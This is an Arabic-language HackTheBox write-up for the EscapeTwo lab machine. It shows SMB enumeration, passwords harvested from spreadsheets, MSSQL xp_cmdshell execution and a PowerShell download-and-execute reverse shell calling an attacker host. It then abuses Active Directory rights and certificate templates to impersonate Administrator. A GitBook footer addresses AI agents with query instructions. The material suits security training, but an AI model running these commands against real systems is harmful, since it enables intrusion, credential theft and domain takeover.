> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md).

# تقرير HackTheBox عن EscapeTwo

{% embed url="<https://app.hackthebox.com/machines/642>" %}

{% hint style="warning" %}
**المهارات:**

* استكشاف SMB
* تسريب معلومات كلمات المرور (ملف zip، ملف Excel)
* استغلال MSSQL (Microsoft SQL) مع تنفيذ أوامر عن بُعد RCE
* تعداد BloodHund
* المستخدم WriteOwner CA/\_SVC (تصعيد الامتيازات)
  {% endhint %}

في اختبار الاختراق لهذا بيئة Windows، لدينا بيانات الاعتماد التالية:

* اسم المستخدم: `rose`
* كلمة المرور: `KxEPkKe6R8su`

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/30e0faf951221ca8d171eb91f6d5b85b06c54912" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/30e0faf951221ca8d171eb91f6d5b85b06c54912" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts
```

<figure><img src="/files/1520ef2894a55a5df6c2b1e92add47217a1ccbc1" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

باستخدام دالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` الحافظة

<figure><img src="/files/1ad93bb3e0b421ccef1a9aaea81e0404609f6457" alt=""><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted
```

<figure><img src="/files/ca970c2164149ede43db9289c7aaef964ef55c30" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a8e1b6ebce4c874deb8aced883bedd4a372c12f2" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/feaf20fb97c99949621a3c7aa34e855f4bc72d59" alt="" width="563"><figcaption></figcaption></figure>

### المنفذ 445 - SMB

**التحقق من المستخدم باستخدام CrackMapExec**

نؤكد أن `rose` المستخدم موجود على وحدة تحكم المجال (DC):

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
```

<figure><img src="/files/fed237ce19d37a3915a7e3402aa49e92c04a3fd6" alt=""><figcaption></figcaption></figure>

**استكشاف مشاركات SMB**

نُدرِج المشاركات القابلة للوصول باستخدام `--shares` الأمر:

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

**النتيجة**: تظهر مجلدان مثيران للاهتمام:

* `المستخدمين`
* `قسم المحاسبة`

<figure><img src="/files/dc599894da229c3454733c2225675574d25965f8" alt=""><figcaption></figcaption></figure>

/*/* الاتصال بمشاركة SMB باستخدام smbclient/*/*

نصل إلى **قسم المحاسبة**:

```bash
smbclient '//10.10.11.51/Accounting Department' -U rose
```

في هذا الدليل، نسترجع ملفي Excel:

```powershell
get accounting_2024.xlsx
get accounts.xlsx
```

<figure><img src="/files/44fee834a72e70e1bde50a3a1f2a38410f7e59c6" alt=""><figcaption></figcaption></figure>

**تحديد تنسيق الملف**

باستخدام `الملف` الأمر، نحدد أن هذه الملفات هي في الواقع أرشيفات ZIP.

<figure><img src="/files/c1b1e9a1f9a574e5cdf4f625b1c9e392c8b7cd7a" alt=""><figcaption></figcaption></figure>

**استخراج ملفات ZIP**

نفك ضغط الملفات المسترجعة:

<figure><img src="/files/40b460676d129e0065fadde833e15fdc710743ff" alt=""><figcaption></figcaption></figure>

**البحث عن معلومات حساسة**

نرشّح الملفات المستخرجة للعثور على معلومات تحتوي على الكلمة المفتاحية **كلمة المرور**:

```bash
find . -type f -name "*.txt" -exec grep -iH "password" {} +
```

<figure><img src="/files/79d53bb23d0bf917762dda8e8ba96ba07ada3ef3" alt=""><figcaption></figcaption></figure>

**النتيجة**، ملف باسم `shareStrings.xml` يحتوي على قائمة بالمستخدمين وكلمات المرور.

<img src="/files/791a60022ac45baf97609f880ddb071f23f6c453" alt="" class="gitbook-drawing">

<table><thead><tr><th width="141">الاسم الأول</th><th width="135">اسم العائلة</th><th width="174">البريد الإلكتروني</th><th width="107">اسم المستخدم</th><th>كلمة المرور</th></tr></thead><tbody><tr><td>Angela</td><td>Martin</td><td>angela@sequel.htb</td><td>angela</td><td>0fwz7Q4mSpurIt99</td></tr><tr><td>Oscar</td><td>Martinez</td><td>oscar@sequel.htb</td><td>oscar</td><td>86LxLBMgEWaKUnBG</td></tr><tr><td>Kevin</td><td>Malone</td><td>kevin@sequel.htb</td><td>kevin</td><td>Md9Wlq1E5bZnVDVo</td></tr><tr><td></td><td></td><td>sa@sequel.htb</td><td>sa</td><td>MSSQLP@ssw0rd!</td></tr></tbody></table>

**اختبار المعرفات باستخدام CrackMapExec**

نستخدم بيانات الاعتماد المسترجعة للتحقق من الحسابات:

```bash
crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99'
crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo'
crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!'
```

**النتيجة**: فقط الـ `oscar` المستخدم صالح.

<figure><img src="/files/856da15523a5a709ad3731d38d81539fdb2a8bb2" alt=""><figcaption></figcaption></figure>

## استغلال MSSQL (Microsoft SQL)

**المنفذ 1433 (MSSQL)**

المنفذ 1433 مفتوح، مما يشير إلى أن خادم Microsoft SQL قيد الاستماع. سنختبر الاتصالات باستخدام المستخدمين المختلفين المسترجعين سابقًا.

<figure><img src="/files/8f73d71e623ba959c15f90d7ca1730489a9c76fd" alt=""><figcaption></figcaption></figure>

**اختبار الاتصال بـ MSSQL**

نستخدم `mssqlclient.py` لمحاولة الاتصال:

```bash
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/6b1eb161adae2285978ecc65d903fef51fb6b296" alt=""><figcaption></figcaption></figure>

**النتيجة**فقط المستخدم `sa` يعمل.

```bash
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/c67cc2201b5de74608f4c6b57b228f7baad6c5f5" alt=""><figcaption></figcaption></figure>

### غلاف عكسي عبر MSSQL

**تمكين تنفيذ الأوامر**

لتنفيذ أوامر النظام، نقوم بتفعيل `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

ثم نختبر بأمر بسيط، مثل `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/c25c146290ca34b4159881469a54d713326e4fd8" alt=""><figcaption></figcaption></figure>

**إعداد الاستماع على جهازنا**

نقوم بتشغيل مستمع على المنفذ 4444:

```bash
rlwrap nc -nvlp 4444
```

**تنزيل سكربت PowerShell**

نحن نُعد سكربت PowerShell يُسمى `PS.ps1` يتضمن أمر reverse shell. في نهاية السكربت، نضيف السطر التالي:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

في نهاية السكربت، نضيف السطر التالي:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

نستضيف هذا السكربت على خادم ويب محلي:

```bash
python3 -m http.server 80
```

**تنفيذ reverse shell**

من خادم MSSQL، ننفذ الأمر التالي لتنزيل سكربت PowerShell وتشغيله:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/996e207842b862e42083e986bbd34fb31fb6c450" alt=""><figcaption></figcaption></figure>

## الانتقال إلى المستخدم Ryan

**تم اكتشاف بيانات اعتماد جديدة**

من خلال استكشاف النظام، نكتشف دليلاً باسم **SQL2019** في الجذر. وداخله، نجد بيانات الاعتماد التالية:

* اسم المستخدم : `ryan`
* كلمة المرور: `WqSZAF6CysDQbGb3`

<figure><img src="/files/aaa050eaf0e43d4e259e264b99d1b4d33296f72b" alt=""><figcaption></figcaption></figure>

**التحقق من المعرفات باستخدام CrackMapExec**

نتحقق مما إذا كانت هذه البيانات صالحة:

```bash
crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/a7af89f43454d63b394a66d85179ac3409e0e207" alt=""><figcaption></figcaption></figure>

من خلال استكشاف الدلائل المشتركة، نحدد مستخدمًا باسم `ryan`، ونختبر بيانات الاعتماد نفسها كما هو الحال مع `sql_svc`:

<figure><img src="/files/2a48850029b6058916f2453338da0fab4295a0e6" alt=""><figcaption></figcaption></figure>

**النتيجة**: كما تعمل المعرفات أيضًا مع المستخدم `ryan`.

```bash
crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/6f6eee4810f8ce30ee1855fe97d4b6b611c73e13" alt=""><figcaption></figcaption></figure>

Evil-winrm

```bash
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/8133197fbe30c5475c7d6c12d6812cc155260422" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/229198367fe43571b13671170f6d86148fa56ee9" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات

### تعداد BloodHound-python

الأمر المستخدم:

```bash
bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All
```

<figure><img src="/files/ccf00aaacf50ee0444e404a51c52aa30295a411e" alt=""><figcaption></figcaption></figure>

## WriteOwner:

**ملاحظة :**/ الـ **Ryan** لدى المستخدم `WriteOwner` صلاحية في **CA/ SVC** الحساب، وهو أيضًا مُصدِّر الشهادة. وهذا يعني أنه يمكننا تعديل مالك الحساب **CA/ SVC** لإسناد **Ryan**.

<figure><img src="/files/067f8f03e88f8f1e5fc68c1f6273a705853a190a" alt=""><figcaption></figcaption></figure>

### السيطرة على CA/\_SVC باستخدام BloodyAD

#### تغيير مالك الحساب

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

يستخدم هذا الأمر BloodyAD لتعديل مالك **CA/ SVC** وتعيينه على **Ryan**. وبصفته المالك، **Ryan** يمكنه الآن تغيير الصلاحيات المرتبطة بالحساب.

### تعديل الأذونات باستخدام Dacledit

#### منح Ryan صلاحية كاملة

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

يعدّل هذا الأمر **DACL** (قائمة التحكم في الوصول التقديرية) الخاصة بـ **CA/ SVC** الحساب لمنح **Ryan**تحكمًا كاملاً لـ Ryan. وهذا يسمح لRyan بإعادة تعيين كلمة المرور أو التلاعب بمفاتيح المصادقة.

<figure><img src="/files/eb301b39a3426a74b9d84fadef558d58d9c1a439" alt=""><figcaption></figcaption></figure>

### استخراج Shadow Credentials

#### إنشاء واسترجاع طباعة تجزئة NT

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/d819dce0c3b9205aa485749046ca00b83a5ba20d" alt=""><figcaption></figcaption></figure>

تجزئة NT لـ **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce`

الـ **Certipy** ينشئ هذا الأمر مفتاح تعريف لـ **CA/ SVC**، مما يتيح المصادقة المستندة إلى الشهادة. كما يتم إنشاء ملف `.ccache` أيضًا، مما يسهّل الهجمات المستندة إلى Kerberos.

### تعديل قالب الشهادة

#### تعديل قالب DunderMifflinAuthentication

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="/files/2a12b78774fe6eea62a4c61ba8a4a444daf5c16c" alt=""><figcaption></figcaption></figure>

يعدّل هذا الأمر **DunderMifflinAuthentication** قالب شهادة للسماح بإصدار شهادات بصلاحيات عالية.

### إصدار شهادة للمسؤول

#### طلب شهادة للانتحال

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/37a75c4c377d6e38fafa8cf0b0fd79c118fd49be" alt=""><figcaption></figcaption></figure>

يتطلب هذا الأمر شهادة نيابةً عن Administrator (`Administrator@sequel.htb`، مما يسمح بانتحال هوية هذا الحساب.

### المصادقة بصفة Administrator

#### استخدام الشهادة للمصادقة

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="/files/1ee98c70b4cb9b7a5a91271993ae7cf03bcb665b" alt=""><figcaption></figcaption></figure>

**تجزئة NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="/files/6e535957965f1fd6bbe0cc17764cdc394e954ec7" alt=""><figcaption></figcaption></figure>

يقوم هذا الأمر بالمصادقة بصفة Administrator باستخدام الشهادة التي تم الحصول عليها سابقًا ويسترجع تجزئة NTLM.

### العلم root.txt :)

<figure><img src="/files/9c47642ac60a85fb12513a91f35e2e94fc4a08a6" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/400b55392e4dab049bbe6e89709f68a957689078" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
